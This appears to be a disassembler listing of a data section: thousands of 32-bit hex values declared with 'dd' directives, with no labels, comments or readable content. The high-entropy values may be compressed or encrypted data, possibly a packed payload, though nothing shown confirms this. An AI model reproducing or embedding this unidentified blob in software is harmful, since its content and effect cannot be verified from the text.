		dd 0CFB301F5h, 26E9A641h, 0C008A044h, 7BE7D44h,	0F9A51DCh
		dd 0D07A4099h, 0D8B1D108h, 628B1D80h, 0FE5BEB52h, 233200A2h
		dd 0E0F42871h, 30B80154h, 0F32C9EE8h, 4B420488h, 0F94084A6h
		dd 0FB16D080h, 48C9E8D1h, 0D482ACF4h, 0F0A0BC4Ch, 3648DAB6h
		dd 0E74EBDA0h, 0BED2DE0Fh, 8921D8B4h, 69F8FB63h, 0BA060086h
		dd 20272CECh, 47265744h, 3D433090h, 0E751985Fh,	54211D96h
		dd 112424F7h, 0F31A00C3h, 0EC3980B5h, 2486B0D9h, 20B3D532h
		dd 8FF20110h, 26AA6B16h, 0E2C3E777h, 4B25B102h,	44AF1488h
		dd 0B0530BBCh, 8780A4A1h, 0B9A5D5CBh, 0D9883300h, 0DFF68289h
		dd 26AC07ABh, 0C0FA0E1Dh, 4DCD9553h, 1C159E2Eh,	7590BA01h
		dd 0C84C0C10h, 0AD660004h, 0D6428DA6h, 0DD016FBFh, 0B1F51CB8h
		dd 443043CFh, 0B0987Ah,	0C31B2388h, 0CDB2562Bh,	2970C148h
		dd 4E90B0FCh, 3BC0F2C2h, 0D09234C0h, 0EC079383h, 25C608C2h
		dd 959CC8B3h, 9705B8FEh, 0C8A963B7h, 3F613EC0h,	592609D5h
		dd 0FC02F7C0h, 0B0E8AD4Eh, 0D96701C9h, 905EAE79h, 652E7500h
		dd 98180B4Fh, 5209840Bh, 568F0FB8h, 0D4F56421h,	80AF6A01h
		dd 465AC599h, 319EA8D1h, 626855F7h, 0E4A30275h,	87490EC8h
		dd 1269CE4h, 6D20D8ADh,	2BBD00DBh, 2D94F30Eh, 0E6007AB3h
		dd 46D81B25h, 2C42891h,	0D3579945h, 7C60CA26h, 0A8984E24h
		dd 3F42F8B0h, 2C9B3061h, 201441DEh, 1700634Ch, 0DC01516Ah
		dd 0C0AB4EC2h, 0C9770C41h, 0CF4C8450h, 88CE53DEh, 0C27C701Eh
		dd 0CAAF2B8Bh, 0F89576C1h, 71E6CE19h, 18EEFA17h, 0CA2AA860h
		dd 51C761FEh, 300B9350h, 2488CBA4h, 2635001Ch, 0B65B3C31h
		dd 94B91B8Eh, 69555880h, 3B7A1D73h, 8D9C51E4h, 0F2E18097h
		dd 0C5433020h, 8CD31C00h, 0C7656F50h, 54C058D2h, 22DDFD84h
		dd 12B522DEh, 67E0D540h, 4BDFFD01h, 0E8615F19h,	389C71E4h
		dd 1596E118h, 62843083h, 452CE350h, 0BD405C76h,	5C701Ch
		dd 0F2DEB846h, 5F3AD88Ah, 90C16000h, 711DA368h,	0B1850191h
		dd 998BF2BFh, 4B69FC3Bh, 0F67B42F2h, 3930155Ch,	7C6C4824h
		dd 0DAF7CA00h, 0AF71BAC9h, 29B1C0D2h, 0A4812FEBh, 1AF85A0Dh
		dd 98822088h, 0B42360BCh, 7E75FC44h, 6DBD6C00h,	40564779h
		dd 0C4E93D9Bh, 60516780h, 0D2BFA680h, 92C4AF48h, 804BA409h
		dd 76DE8F34h, 410909Ch,	86D93C7Eh, 0E9AC83E5h, 41258979h
		dd 0F1642E8Ah, 0E3F94803h, 0B490225Ah, 3D005481h, 753189F6h
		dd 0BEFCED0h, 84C98EE0h, 0B5CB6490h, 0DD01FD3Eh, 752A0078h
		dd 0DA37737Eh, 0CC472281h, 0E01CBF2Ch, 75C1CD10h, 77CF55DFh
		dd 0FD1A07C8h, 40A01D95h, 0CF62C1Eh, 0DC4CD54Ah, 44B1A321h
		dd 541A5700h, 235191Eh,	0D54CF621h, 58C51650h, 0EEF87100h
		dd 75642Ch, 0B0F3B3CEh,	10251363h, 0E45690A1h, 9B3C3334h
		dd 8A628C0h, 14802098h,	809646DAh, 0D14478A8h, 0A13D74D9h
		dd 242C500Ch, 28B133F1h, 0AE430380h, 2C189E9h, 256DE339h
		dd 0B864A32Bh, 17E3Eh, 0F38B4427h, 0AA15F58h, 0D05A15B0h
		dd 980BAD4h, 0F02DA3E8h, 78907742h, 0BA61A260h,	0E7F780h
		dd 0DE7E2AB1h, 9A83D83Fh, 277B3Ch, 49574631h, 1D1257Ah
		dd 1F212C1Dh, 0ACD34BD5h, 12604491h, 2F3D04h, 0C9FEDD05h
		dd 5A3B6602h, 809C4900h, 90AF6DB9h, 0BB1D0021h,	0C9FD0E1Bh
		dd 4903BEEh, 0E001A9D6h, 2C3123B0h, 1EBD7834h, 4BF2E94h
		dd 884D8166h, 0D48C310h, 1471012Ch, 0AA4BF845h,	39E1FD4h
		dd 2ABFFBEDh, 501E48BCh, 2CCAFD21h, 4824A444h, 89CBF708h
		dd 0F4104BD4h, 1F002D20h, 39FB1BFEh, 2981C6EFh,	8D0E64Eh
		dd 5B8C873Ah, 3EF741D6h, 0C687F4A2h, 0C3C1CE44h, 36F05E0Fh
		dd 2B3AFA80h, 97A8124Fh, 0A4B3BC09h, 0B6671990h, 0AD0081C8h
		dd 0ABD00D2Eh, 685B9FCh, 99EEF131h, 154639C0h, 233BD917h
		dd 0FFC067C0h, 4848CBDEh, 1C304A8Ch, 6BED0A4h, 0D3063B71h
		dd 0C3052850h, 333CAC4Eh, 8C48BC20h, 70F95CBFh,	0BDD21603h
		dd 9900CEB3h, 5E6AE53Fh, 6530F1h, 947AD320h, 21E1A8B5h
		dd 0D6330F0Fh, 4C46C2DDh, 1E0E424h, 1DF7A22h, 70B91D36h
		dd 0AE072514h, 70BC2D30h, 0F0C34E65h, 0CE90064Ch, 71CC51D4h
		dd 879CA348h, 77608503h, 0F20AFF9h, 14977A40h, 0AA3F5B62h
		dd 92BBD440h, 0B91226F8h, 0A020C2CCh, 0A5DD4C81h, 942204B0h
		dd 0ACBEC0B2h, 0F7000CEAh, 9E3D8CC7h, 0BA1844DAh, 0CD90CBDCh
		dd 753AA402h, 95848121h, 0FE424821h, 0DABCC0A1h, 0AE802C70h
		dd 4A3A40F8h, 730A3C3Fh, 0ACC6FBCAh, 0B44B01BFh, 354DD4F2h
		dd 2AF8993h, 0DA0C7D14h, 0C3856C60h, 0FB087E51h, 2BBEA2C7h
		dd 701CA8E6h, 0A88098CCh, 69D99B41h, 201A4AC9h,	6EC41F70h
		dd 0BB5B8600h, 74FB335Ah, 7BF3001Bh, 0F244E6E2h, 160240BAh
		dd 0BF4C18D3h, 20508196h, 0FC6242DAh, 2C25D207h, 0AD45401Ch
		dd 1B0131A9h, 2695F91Eh, 0A83251B4h, 4E00E48Fh,	144D8BB2h
		dd 38D21B2Eh, 398C2Ch, 9DFD20ECh, 1D3B02Ch, 71721E2Bh
		dd 3821C3EEh, 0C6C88078h, 27BD0304h, 4934C9Bh, 0F7D3F4D8h
		dd 214894Ch, 71D437DAh,	0AE50C0E1h, 30872ABh, 8E46B5E6h
		dd 0FE00286Eh, 0EC214A44h, 54AECA7Bh, 68CCD7h, 4CF4945Dh
		dd 0FF74DF10h, 8156C101h, 2327731Bh, 759BF460h,	3DE40088h
		dd 0CF708E47h, 0B0A6CB7Dh, 7131170Fh, 3B801D0Eh, 6353E955h
		dd 46010CC8h, 99F828D5h, 0C22B7D00h, 0AFF32109h, 0B82E48E9h
		dd 96E42471h, 1D1A12CAh, 4F3B8024h, 7462BFDh, 0B4FF8B05h
		dd 80C02579h, 30DBF558h, 0C77980A3h, 833FD3B7h,	135CE9h
		dd 2503A14Ch, 0C2CA8C3h, 0EC332F3Eh, 0D978C640h, 0EDC845Dh
		dd 0A78DFF6Bh, 0A18CEF4h, 8088D4AEh, 85166F7Fh,	95053077h
		dd 45F48A9Fh, 6C929881h, 0E2F31407h, 8B6D80F0h,	731671h
		dd 0B39C0270h, 4E87E61Eh, 0D56E9D01h, 975B9E32h, 0CC4871B9h
		dd 0E6CF2E4h, 80257C31h, 0F508F411h, 10C239D3h,	44BB4E00h
		dd 0A6541E37h, 210CCF4Ch, 37A11C8h, 796920D1h, 6FE48029h
		dd 0D97B2D81h, 0BC439490h, 0DD6A3500h, 0F5ADF8A5h, 0BCC49122h
		dd 3BC50C2h, 2C8D0B24h,	157D7C00h, 38F3E097h, 64073A8Eh
		dd 848CC206h, 66ACC086h, 0D090CC91h, 3C95C600h,	0B6EA1A5Dh
		dd 20BA137Ch, 43C82778h, 5B9128B0h, 12742869h, 64D050D4h
		dd 7C63DAB3h, 92149CCCh, 93FC0525h, 0E4782DCDh,	850343BFh
		dd 81AD62AEh, 45E6E8D2h
		dd 33272C40h, 763B4060h, 0CE02FCE9h, 0C6F3CD78h, 134D096h
		dd 0C2D0D9A4h, 2C4AD4CBh, 18409EA8h, 85DA2E86h,	45B20717h
		dd 0F0219647h, 4DB1D1D5h, 0A809BEF0h, 3313859Ah, 741CD8B0h
		dd 0A0E4306Bh, 0C3438E6Ch, 4BD6F500h, 0F35337Ch, 976907F4h
		dd 0F04E844Ch, 0AEF32709h, 0AACBC63Eh, 0EE44A476h, 0C3771A8h
		dd 0C453D4BFh, 0B81AA1h, 2B11C200h, 0FD1C2A17h,	0DEF4024Ah
		dd 42D9CD6Ch, 804EACD9h, 5C3029E9h, 49920321h, 6FC3624h
		dd 0B84C43EAh, 6CD5AE24h, 0AA3BB780h, 7A399Eh, 0FE621728h
		dd 0DC3882F5h, 0C9CB68C1h, 44282AF6h, 0CC20AE25h, 0D168FB66h
		dd 7FA0CE1Fh, 81930681h, 2185F147h, 88943D9h, 0E881D850h
		dd 0ECA9638Ch, 71B3FD0h, 2166906Dh, 24E19F28h, 20F3D10Bh
		dd 0CA2050C8h, 74B75C6Bh, 0D69F7C58h, 0EE12B8h,	0A2BBCDA8h
		dd 8BE4693Bh, 4B0775EAh, 4C50B1C2h, 0F3D184Ch, 0BDCDB353h
		dd 0C8FCCAC4h, 1D79BEFCh, 588114E9h, 0CE7005F8h, 50AC78CCh
		dd 7A550887h, 0C024BEC5h, 0EAAF932Bh, 0A100877Ah, 0FCE0D3D6h
		dd 73D2221Bh, 8E7000F6h, 0C3BB6C1Ch, 5B007B8Ch,	94AC4ACCh
		dd 261492EDh, 40485181h, 0C82C212Ah, 31C9D60Eh,	0C488D290h
		dd 0F6EC01A3h, 161F636Ch, 578EC0Dh, 9B353B13h, 0A8E544C3h
		dd 9C4B8115h, 21B39250h, 833A2720h, 0D459C8ACh,	8D7AA024h
		dd 0EC3B4CDAh, 40D15B85h, 4BA77688h, 0B37A58C9h, 3DFE6C05h
		dd 0F4801C29h, 7276A71h, 17DBA64Ch, 0C09B6222h,	280970E0h
		dd 9A80A77Eh, 37CF14D3h, 0B70BBCEFh, 640163F8h,	295B1AC5h
		dd 8D3A09C4h, 438C8075h, 1F2F2DE8h, 0E22B0C96h,	0E0056898h
		dd 0E3F61DA7h, 80B64882h, 16671308h, 52E4B61Eh,	0C94A1C40h
		dd 0A27B4484h, 11FDBD07h, 73A077F7h, 42B714Dh, 4AD54C45h
		dd 0F32040C0h, 1574B196h, 0A4DCAED3h, 51DA4907h, 0EB9070ABh
		dd 18001209h, 2A43F405h, 758D801Ah, 8C24BE0Bh, 4D9990C6h
		dd 454BE80h, 0C4EB5F70h, 0AA808CC2h, 8AD35000h,	0EFD788FAh
		dd 9637001Bh, 84F3768Ch, 0E40B4B3Eh, 1332F781h,	0E8394C6Ch
		dd 9F4715C0h, 2E00B9ACh, 2CDF66B6h, 213174h, 83165844h
		dd 0DD96812Bh, 0CB5A7B01h, 0BC799B8Bh, 2F7DA40h, 73063D0Fh
		dd 383E2381h, 31EF51CAh, 0A6BAFC7Ah, 4E25E93Eh,	333C4C00h
		dd 7EE1D8Ch, 0D9B346DDh, 1BF53134h, 0C7B8296Eh,	0C9C5FE77h
		dd 393C87C1h, 89E9E849h, 0BB035439h, 0F7522469h, 20B4702Dh
		dd 0F113DFE8h, 986300EFh, 0FB0B5908h, 0BE44D0A5h, 0A8326B3Dh
		dd 0EF50DC00h, 2B00D2DEh, 0B9ED814Ch, 0B6979DAh, 4BAAB427h
		dd 0D2FEE022h, 0B512D311h, 4CC94A60h, 27FAC712h, 58206013h
		dd 52AC39Bh, 9A50D81Bh,	183C88A4h, 7D8E4107h, 0B8500DFAh
		dd 964ED4D3h, 6054AC0Ch, 0BF63DE88h, 0BCB2BE00h, 46F1449Dh
		dd 0D5C20032h, 0DF220B1Dh, 9A02BD81h, 6A43238Ch, 2FCC5821h
		dd 0B87E4B96h, 0E8A4750Bh, 0F6EEACh, 0C8EA73F3h, 0A4BB96Dh
		dd 3B71721Dh, 0CEDFFF40h, 913DDA5Fh, 5CC02074h,	8B00BC44h
		dd 1AD37E1Bh, 0FB05B054h, 96E756ADh, 81D4D420h,	9F2802B1h
		dd 0C6F9CA2Ch, 761EBE20h, 0D320000Dh, 269D9BF8h, 0CB006AE4h
		dd 37A1565h, 947C3CDAh,	0FFAC6E94h, 26247211h, 0D00881Eh
		dd 808E2728h, 0DE18000Eh, 0CA7DFBE1h, 1618A2EEh, 0A731CE5Bh
		dd 1D980297h, 5103B26Dh, 81B7CC40h, 14224C4Fh, 17D31043h
		dd 0C79D5409h, 0CB00C882h, 948ECA4h, 0D9F9BF8Dh, 9950DC60h
		dd 0FA302104h, 0B4A01C3Bh, 51A8BC10h, 0C5E70D8Bh, 5B2594A4h
		dd 49A040B4h, 0FB053239h, 4A185600h, 77D5250h, 31002B3h
		dd 0C4D31C2Bh, 4496844Ch, 0D0CDD093h, 0B408A031h, 0CC30BC1h
		dd 0B888A6FBh, 0CF868048h, 0EF3A710Bh, 54CBBE16h, 85253CC0h
		dd 50C401E3h, 84D80B1Ch, 26D1E47Bh, 4DA1B418h, 0C083A440h
		dd 80104B49h, 871EBF75h, 0C140196Dh, 38EAC478h,	655316F9h
		dd 7C14C98Dh, 929A0E8h,	871800B4h, 6AC3467Ah, 0D8002220h
		dd 338E3E7Ch, 4C214C0Fh, 0AF02743Ch, 25D732FCh,	0CCABE061h
		dd 68B8837Bh, 1098144Bh, 0BC988C40h, 98737C80h,	6871565Ah
		dd 4C62F3C9h, 0C1228858h, 39DFFDF8h, 0E750982Dh, 0AE0F0h
		dd 0D0B573F9h, 904AD38h, 1D8ABE02h, 53803EDAh, 0A07980C0h
		dd 5A455EABh, 0F2B31D0Bh, 13186455h, 0CAD25381h, 0BF6B0134h
		dd 0FA375056h, 3C4428A4h, 84819102h, 0B8541CA1h, 0E390F362h
		dd 9B7DE81Ch, 0A4132E83h, 202940D8h, 720031F7h,	2F6177D8h
		dd 48F96A47h, 730E4869h, 1C4BF019h, 6190C484h, 4817D1EAh
		dd 1D531680h, 2482A7D6h, 11D49DADh, 16B0E93h, 0ABF8AEA5h
		dd 4CCCCh, 0CD1C3189h, 0A8545C94h, 0A7B4F000h, 7AE0B2DDh
		dd 0CBB90937h, 0E0E44EB8h, 26901A4Ch, 33C5CBCh,	7A0F462Ch
		dd 2530CFBEh, 97F9E4Ch,	5A34E1EDh, 1607D05Ah, 0A33A073Ch
		dd 0E4FD8BA0h, 2C1972D5h, 40D8B462h, 0AA89A18Eh, 0FC616B00h
		dd 2BB1B73Ch, 27AC7C5Bh, 4902C1Eh, 7000A7D4h, 30371AE7h
		dd 4882500Bh, 0DC4C404Bh, 0F7EE013h, 1E67DF03h,	0D19652CCh
		dd 83C9963h, 4A98BCB2h,	3C715CCCh, 0AD808DAEh, 0DD0F9A37h
		dd 20F8F1Ch, 60A6474Fh,	1BEC6D0Ah, 0B82F545Bh, 0CD4C32D4h
		dd 2483A3B9h, 80879055h, 0BB59B54Ah, 2E1AF200h,	751464Eh
		dd 628CB1DFh, 5C609248h, 0BC88EF01h, 98497E3Ch,	269502B6h
		dd 0E7374092h, 34543442h, 5A54D542h, 70AF4D60h,	78280B26h
		dd 28907E41h, 7F0B6C98h, 495A6698h, 0E5608CDCh,	816C0746h
		dd 374AB5h, 4416B2A8h, 470127FAh, 2ED13DAEh, 7C6014E9h
		dd 0C9C2444Bh, 8968F54Ch, 981078BDh, 0F3A01338h, 4DD0208Ah
		dd 4C2D7680h, 557002F7h, 283865D2h, 0E1130058h,	320A596Eh
		dd 0C40C810Fh, 0B2B1C91Eh, 56542EB5h, 50452550h, 0C2A47E90h
		dd 385C4F70h, 3CB14E60h, 41BCA638h, 45EEC491h, 66E99625h
		dd 0AF6E07E4h, 80719097h, 4E811BC7h, 2A89C0BCh,	0CB6C841Ch
		dd 40E52B49h, 6A69C818h, 46674FF1h, 6178A37Ch, 75DFC706h
		dd 13D8E845h, 44CD5B48h, 4AD74C38h, 5440B4B3h, 39EEA3F3h
		dd 4B830B6Fh, 0F140AC7Ch, 1CAEC087h, 0CE1E6615h, 861493CBh
		dd 0A44B1408h, 945914h,	2C7913A9h, 0E4CA2F10h, 0EED4021Ah
		dd 0BE9B18B3h, 0C42A1C49h, 47266B1Dh, 992DC4B7h, 6B08C0BCh
		dd 80C72539h, 431D2B90h, 0E8A1BC38h, 12C7D62h, 6CD265E7h
		dd 32AF6DBFh, 5F590750h, 0F0C30C9Ah, 0B0A4E41Ch, 0F13200CFh
		dd 0E875E80h, 9700AE20h, 68E55B9Ch, 504BDB83h, 8456E81Bh
		dd 40A43CA3h, 0C21CC726h, 0BF562E16h, 0A2CB4470h, 63581C94h
		dd 0CF5D97C0h, 1775D4C7h, 42B395E4h, 47DAC0BCh,	5281CC90h
		dd 6678ECA6h, 0C8E34F29h, 0B000CE11h, 0EE9E3DDBh, 467C1B94h
		dd 34C0F000h, 0BA1523C6h, 24D9F25Ah, 444CA74Bh,	43F080FBh
		dd 924B4759h, 81397088h, 64E605F7h, 4A88A103h, 0F7DB8522h
		dd 71B73FE1h, 207C02D4h, 2742F082h, 745A6856h, 0FBDA4038h
		dd 0FCF2E59Ah, 204454Ch, 4754441Ch, 3B44828Dh, 248C4434h
		dd 0AD4DF4Ch, 178B4C1h,	0BB011705h, 9182700Dh, 193ACD07h
		dd 15F0A1BDh, 13311227h, 2BEF55FFh, 38204E00h, 0DB7593h
		dd 0A25EA819h, 0DA67FFF6h, 2414D2Fh, 6FDED740h,	81A48C68h
		dd 8803E119h, 0B18A24A1h, 779488B2h, 0B3C03822h, 0E41070A5h
		dd 0D00A2DFh, 0B21208FFh, 0F30E5B52h, 5ED50060h, 1ABC4B55h
		dd 60C0508Ah, 8D90705Ch
		dd 22D9C404h, 48921C23h, 0C60110C1h, 83B4808Ah,	162CB6CFh
		dd 5279F782h, 0D4FCA48Ch, 60C8514Bh, 159100F2h,	2C8A553Bh
		dd 0B604FB0Ch, 0D1FD8654h, 2A0384EDh, 165B3576h, 0AA7C8180h
		dd 0F4121C5Ah, 0D1C1C062h, 0DC1C17ECh, 61003720h, 0C97BDC80h
		dd 13F92186h, 14C06A9h,	4ACFD2A4h, 64A6DC11h, 365E3007h
		dd 7EF59073h, 0B0F30805h, 0C10C1414h, 9FF4BDA2h, 24F215C8h
		dd 54BD8h, 0D59775Eh, 0B7002FD1h, 763E1DD4h, 0B15CBE9h
		dd 0BB4AAF6Ah, 9E0048ECh, 0AEA5F90Ch, 12823E3h,	654B211Fh
		dd 0DC77C425h, 0CB07547Bh, 15799D8Ah, 0AE320670h, 0A3DE06D3h
		dd 48EF93C3h, 9A138C00h, 69B02596h, 7C4E1797h, 8A743073h
		dd 0C10EF095h, 0FA4656h, 3630FC80h, 7E970038h, 0D8A733E7h
		dd 7938211Ch, 2A6F00F6h, 16904131h, 0C1C70702h,	0B0BE9319h
		dd 0A47DC2B0h, 3B0DF13Dh, 20CA2DCCh, 56019FE0h,	0D6AE30C5h
		dd 81A58B79h, 0A7D3BB00h, 2FA69C07h, 21515E4Ch,	6AF3C988h
		dd 31575C22h, 58252E50h, 0E300ECA2h, 0FEC4840Dh, 420F68B0h
		dd 0F7B48D57h, 7BA45C81h, 0FE8F2980h, 0D3E28465h, 83EFD712h
		dd 0BC2110F3h, 0A7D0F908h, 0E7B278C0h, 643C3000h, 0DA1BE994h
		dd 98404AA7h, 0C460B40Ch, 0F67C7F41h, 0A4D80099h, 810AC24Fh
		dd 80A9CE4Dh, 26A5F44Ah, 28CAC305h, 94022AD4h, 0C0FA746Ch
		dd 2471854Ch, 6460268Ah, 2E832233h, 0B4C75980h,	900064E0h
		dd 0B26FC84Eh, 400A50h,	0C2212246h, 0F443751Dh,	0F3010D01h
		dd 10E9C8B7h, 1A58CC0h,	23AD4674h, 9F38A0EBh, 4881FAD8h
		dd 159DEEACh, 0AE027822h, 0D2F268CBh, 0E71F14F9h, 0E98FC6DEh
		dd 752DA177h, 0F6FC2C21h, 82C7351Bh, 0F41480A0h, 0AE22CFA5h
		dd 0D7CE00D8h, 9975AD5Bh, 0EA012588h, 0C2EB0AB0h, 0D989F4A4h
		dd 146B4681h, 8D240DE0h, 49AD4B1Fh, 32F5B500h, 3E3ACEB0h
		dd 7D00845Ch, 0EB8D45E5h, 2F0086F2h, 0B44643E3h, 6BECC1Fh
		dd 0BD6B4214h, 0A88008A2h, 6EB89A90h, 15D36F02h, 40E16D83h
		dd 2D0DE3h, 0CB21CE42h,	9716A2E6h, 7AF37300h, 192FFAD4h
		dd 13F4D6h, 66682DC0h, 23869369h, 0E85A1B27h, 0CE3410h
		dd 85BF62C2h, 18A7ECF4h, 5FFFB500h, 0DF27E8ADh,	901C5029h
		dd 1ED23F30h, 359450C5h, 6612E22Bh, 0D0F3BAC4h,	8975C04Ch
		dd 4F78662Ah, 0EBACC823h, 9880E04Dh, 7F2F034Ch,	77604173h
		dd 687D7498h, 5AFD1C00h, 0CD6CEF90h, 0C090B5C6h, 797E0616h
		dd 0BC9E7701h, 0B26A0EF1h, 4274F1F2h, 0EC85C1B6h, 0F068E4BFh
		dd 0E9C3B388h, 48C6A100h, 7B279704h, 20A87CBEh,	5FA0503Fh
		dd 8CF21B0Eh, 0F6F6AE8Ah, 0A8951031h, 204CD4CAh, 0E53400C6h
		dd 69C2AB86h, 0DB0EF096h, 0A10665B3h, 0B7CA8550h, 0E175D468h
		dd 0AC8893FAh, 0B110D840h, 0D9E43315h, 8D289900h, 0D6CC4FFEh
		dd 205D4FC0h, 0DC09C864h, 0F300CBE4h, 2BA1C339h, 27B64755h
		dd 0E82468F9h, 0F8EC8389h, 0C2F8A9EDh, 41855B3Bh, 1828A58Ch
		dd 11012103h, 22C19B35h, 2A08487Ah, 3C071B4Ah, 2C72AEB1h
		dd 0F60DEB4h, 0D5E09043h, 0E953653Bh, 0EE7C1F01h, 0D35B16A3h
		dd 0FC07E180h, 0DBAA78F1h, 0C5C7B100h, 5D38DE0Bh, 706C001Ch
		dd 316B1B2Ch, 212F8BCEh, 0C9B021CAh, 90207CC8h,	3A4302B3h
		dd 903FDA1Fh, 0E8C7B84Ah, 9B397880h, 7D297ACh, 9A42ED6Ah
		dd 0D2B10D0h, 3029847h,	0CA7552F7h, 80CC56FEh, 6C79DA25h
		dd 20B52CBEh, 1696BFBCh, 20145B23h, 0E9D20AF4h,	0F54853B0h
		dd 7F3A36h, 7059341Eh, 0E402B72Eh, 0AF671366h, 13A6B8CEh
		dd 98A240DAh, 42BE5221h, 0CB7EC308h, 0C4AB0ABAh, 8481087Fh
		dd 1424C7FCh, 0D0E8276Ah, 55F94D02h, 71703372h,	43EF5C02h
		dd 0D1A270FDh, 0E49B00C8h, 0B3318F93h, 0C8D5642Dh, 93CB1088h
		dd 98F380C4h, 6CD954CDh, 420EBD0Bh, 598A00B2h, 0DB5504h
		dd 123011A5h, 7DB306DFh, 0BECF171Dh, 0FDAAF482h, 0C97874F9h
		dd 0A029898h, 60C7DE00h, 80EB683Dh, 0AEDB163Ah,	0B358492Eh
		dd 0C0024469h, 127B46D1h, 2CAE4E26h, 0B6F01125h, 7458FD04h
		dd 0A6CDF580h, 40109DE0h, 56271BD3h, 9EA86ED7h,	8D614014h
		dd 43043CD6h, 142BB1EFh, 53814181h, 1C3D0C39h, 2AC0884Ah
		dd 0B9ECD300h, 199799B0h, 30E674E4h, 0C46C0C6Dh, 44173318h
		dd 9F16DF8Dh, 9F43C400h, 4C549B57h, 0BC055B95h,	8C1F8CBEh
		dd 5E0065B4h, 0E6D7FC6Eh, 0B8E88919h, 0FCD05244h, 24949D76h
		dd 6B2BBD00h, 0B1C2718h, 52EF1F22h, 8C75C380h, 60225AEBh
		dd 7DE000C1h, 0E97ED219h, 0E7B8C76Fh, 572CDC04h, 3B8086EDh
		dd 384C9D69h, 4006BB2h,	2AC073A9h, 23986DE4h, 82CB1F05h
		dd 0D0B3B2DCh, 4C7E4B00h, 9B14C6DDh, 0A650B076h, 78B8CF08h
		dd 12B2BC44h, 0A2D24B81h, 0AEF30088h, 0F6D3D68Bh, 35EC1DA2h
		dd 1DB405F7h, 9DD088AFh, 0F8018A00h, 68E4425Eh,	9B95FEAh
		dd 30323C60h, 0DDB42C00h, 0A50131D9h, 22C2043Dh, 0EC222D0Eh
		dd 16AA4E02h, 40C0C373h, 0C188C701h, 0DA0D3AC4h, 0E1B64980h
		dd 0F5DEDF50h, 3BCF890Ah, 4E120C64h, 5452C4A0h,	0F6FD64D6h
		dd 4F9A004Ch, 0D30620DBh, 0CA252B88h, 0B91C4BFBh, 3F6B8156h
		dd 0D9FD11C0h, 0F8E8AE2Dh, 69E04B67h, 773EA600h, 3478CDEAh
		dd 7CA4183Bh, 0D8F1767Dh, 3EF4185Ch, 0EC00F499h, 20CCE9CEh
		dd 3D232BCDh, 3900A721h, 0DA88AEB7h, 0C64ECE3Eh, 13DB28D2h
		dd 0ECEA43D4h, 6340D768h, 0E6FCEBD2h, 86070250h, 0BC094981h
		dd 255180D4h, 30D40864h, 1A49D950h, 0CB504581h,	9288CC30h
		dd 37C10005h, 180F43C9h, 1004B8Ah, 8986FDFFh, 0F0D3ABEDh
		dd 41549A8Dh, 8507C8CCh, 8B0D80C8h, 88683BD9h, 0C96ADD2h
		dd 0FB004092h, 18A4C4E7h, 3CB000B7h, 0E039D269h, 0DC00A897h
		dd 4C247E2Bh, 1EA99585h, 80D3C465h, 0D497BA08h,	735F0A4Eh
		dd 71F5098h, 0BBAD46FEh, 0A090A0EDh, 0F8743170h, 2548C458h
		dd 9088CED3h, 98250046h, 1C4E6453h, 54772758h, 0A8BD7E03h
		dd 92B10C79h, 4134562Bh, 0D22C0DBBh, 45940880h,	244B1F74h
		dd 12660020h, 0DC9300C8h, 0D5BACB6h, 0F2F67D18h, 0EABA700h
		dd 0B4F37629h, 9AE502CDh, 6B026715h, 0CBFCA482h, 0D500CC6Eh
		dd 0D73A27DEh, 128C6514h, 0B55E1CB2h, 689C2500h, 20BEA00Ch
		dd 0F7801E78h, 92F38079h, 38F93A64h, 47B21000h,	0A6FA8316h
		dd 0E82B1C7Bh, 80DA7E1Fh, 7C23E577h, 0F09BBC00h, 96042136h
		dd 3F8A7B73h, 0C70E5A44h, 0E6720BA4h, 57E30260h, 80F5DA31h
		dd 4AB3ADEBh, 8EA32FCCh, 0EA9B3410h, 9609601Eh,	7304ADC0h
		dd 0F8E6750Ch, 8517089Ch, 0BB0472BCh, 99822043h, 45BC90FFh
		dd 196EF2BFh, 2982B427h, 1443DA3h, 0A18749D9h, 1483BC67h
		dd 0A1C63B6h, 0B7054AB0h, 5024DA50h, 9320D74Ch,	0C9A03467h
		dd 0E9B6F1Eh, 828DE5DAh, 2664E2F2h, 1100B14Eh, 99DEF223h
		dd 2A1F0732h, 0D9475B1Ch, 1900745Bh, 8EAF9F5Ch,	3F13001Eh
		dd 58E69484h, 53008BF5h, 80BEB447h, 78B1E075h, 48BC394Bh
		dd 3BEB2400h, 58403863h, 7E88C550h, 76893Ch, 4BCB547Ch
		dd 125349Dh, 87F3FE35h,	200446E3h, 0F0E58BBCh, 94F88C55h
		dd 8E3C0D3Fh, 30A42C23h, 42BC0893h, 4B87F240h, 7C811D1Ch
		dd 0B1F30999h, 0E7537C90h, 0D2829614h, 5DA43F08h, 2C4201BCh
		dd 0B1B2864Ch, 2D46CD6h, 6A5FBEBDh, 9C725851h, 0B0C81A5Fh
		dd 0F06303DDh, 9D41AC77h, 976EAFB0h, 0A25C3Ah, 30D3421Ch
		dd 392047Ah, 0D53B402Ch
		dd 0B117E14Fh, 2062FFC9h, 804E183Ah, 0F6C938A0h, 225C1C95h
		dd 3195C601h, 68AF6A18h, 59122814h, 6A038D69h, 0F8FEDFC8h
		dd 49B878D3h, 438254E4h, 48C65142h, 0D1F7C916h,	1C607C28h
		dd 0C91C7B0Dh, 0EC838CC1h, 4BE47A3Fh, 1670C646h, 101C4D8h
		dd 44EEF1C0h, 0FF0C65E0h, 814586A1h, 0D892CC10h, 5C43B420h
		dd 38A7D02Fh, 38C0001h,	3418778Fh, 0B40F1DD9h, 0FF3A7CDFh
		dd 30048E93h, 0B12CC95h, 19C5A0h, 0F550850h, 5317D386h
		dd 0ACB8FA64h, 984210h,	0F2357F16h, 71B15189h, 0E3AF3246h
		dd 6C632510h, 66824AE8h, 68F6B2FAh, 0AA4B9D00h,	16C6C5E3h
		dd 23A82592h, 0B5565080h, 3B0779D3h, 0C6466B1Ch, 0E11C02ABh
		dd 425CC4BEh, 7B7609F6h, 29389811h, 0E0C20099h,	48233762h
		dd 0CDF62776h, 0A407261Bh, 1BCAA48h, 0D28B41D9h, 0C0CE38FCh
		dd 9BEF5730h, 7C910FFEh, 84E0E570h, 4DAE2FD7h, 0C0E37903h
		dd 10B60222h, 9CBF988h,	11D54AD4h, 472F42Ch, 804F32C4h
		dd 87E9217Bh, 0E4E93D7Fh, 0CD2C69CBh, 0D14698A2h, 0D8BD5851h
		dd 0B1BBCE86h, 2C734422h, 62782C6Eh, 862472ADh,	44BEF340h
		dd 0E8002DCBh, 22587098h, 3B72478h, 0EB69BD50h,	0C0AC64B4h
		dd 6F814B00h, 0D0BED57Dh, 0A646D840h, 27082C4Eh, 98A45DCh
